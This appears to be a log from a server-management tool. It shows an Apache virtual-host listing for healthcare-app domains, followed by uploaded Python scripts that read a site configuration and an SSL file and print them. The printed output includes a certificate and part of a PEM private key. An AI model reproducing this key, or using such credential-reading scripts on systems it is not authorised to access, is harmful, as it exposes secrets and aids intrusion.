         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-07 08:22:52: 

PUT: /tmp/pkp875063

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_test_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-07 08:22:52: 

chmod 755 /tmp/pkp875063; /tmp/pkp875063; rm /tmp/pkp875063

2026-06-07 08:22:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf	1340

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-07 08:22:52: 

PUT: /tmp/pkp233886

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-07 08:22:52: 

chmod 755 /tmp/pkp233886; /tmp/pkp233886; rm /tmp/pkp233886

2026-06-07 08:22:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293	3556
78:42:82:36:cd:aa:4e:ff:36:0b:46:8b:eb:50:05:dd

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBgKFMrYx/jyq99vmDhAGwJ79MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjA3MDcyNDE5WhcNMjYwOTA1MDcyNDE4WjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAz/2wdZb9Cv99g2YhDNzUUmYpAwPTk54AOJqIJuiOLH5IxnI2ShnFDUwV
uTlWII8k+piEv4UDj38S2Cdb/hnykpkd+zcPD1lm92bI8tejZBWpTYNhtARh06VU
Qon9bSgky0UVOUjk8izqxNcmjMc4Kf0V5WJLwvk/hcJMLWX2i9SE5JzzPszRtJ8c
jQjx5HQxVVIrijTwH/Jg0N8WVQvboCgQPZnVVqSUCrlZZLX84VgpWg1g7jVk+t9x
LAzrQY/pem6FcCOqW2Sg3p6ohElHjSKLyaC++k0yDsch5d0EmkKvljpqDazM+492
joptKYWd2ytOL1n+9ZyQf2SOQgrIaQIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FEnjlZPc+pYYthxLqcsaqmNJCjleMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITdGVzdC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzEyNi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDCMX5X
RRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ6hLW5pAAAEAwBIMEYCIQDL
iNgSZjWzhVgahN3kbwnjYqpLgM7JmUe7xzoFZ21GUgIhAO9Q+GiP4EKxaREsEe5K
gAyxW8IJ/a3qBCS+yrKEf5i0AH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9
mRirRyMAAAGeoS1tygAIAAAFABpJXEMEAwBHMEUCIGprD/8OOXtg83LwzR69XRK1
t4SrcjxYggNGYiNzcqKlAiEAsAib/cZHPUtKrIaHehHiK/9Shr0ZCgVDF42gzvkM
HI8wDQYJKoZIhvcNAQELBQADggEBAAs5f4hRh45935qY/I9VdqLYTF4kelipsGTY
dJqJQ0JgWpS3lz9b5HTlkGOnaRPS9vkEHvKU7/nAXxU7mP69/ZjpfePiu8T0IiUF
A9c9iT3AqMGyNZ42UWjvqIusvhc1cgtKcgcZ7FsCVhRy9F5x19dHmfP+zEzhloy+
/gjjaZvdAb9BhpP4Jq04CB+kReIH3islQYHi9/Fa3PR4d7NTMb9ENWTOtzBQSikt
35vq0aN+ml+mpKC2b5/5S8K9B+RGINrUhiS19tvxweSdybX527GJsc1wRaz8bdbX
cCXo5dNNbKCx/eR/9WjNGVUQWBl/HtWpsAPJUqfX84rKFsNZ3kw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDP/bB1lv0K/32D
ZiEM3NRSZikDA9OTngA4mogm6I4sfkjGcjZKGcUNTBW5OVYgjyT6mIS/hQOPfxLY
J1v+GfKSmR37Nw8PWWb3Zsjy16NkFalNg2G0BGHTpVRCif1tKCTLRRU5SOTyLOrE
1yaMxzgp/RXlYkvC+T+FwkwtZfaL1ITknPM+zNG0nxyNCPHkdDFVUiuKNPAf8mDQ
3xZVC9ugKBA9mdVWpJQKuVlktfzhWClaDWDuNWT633EsDOtBj+l6boVwI6pbZKDe
nqiESUeNIovJoL76TTIOxyHl3QSaQq+WOmoNrMz7j3aOim0phZ3bK04vWf71nJB/
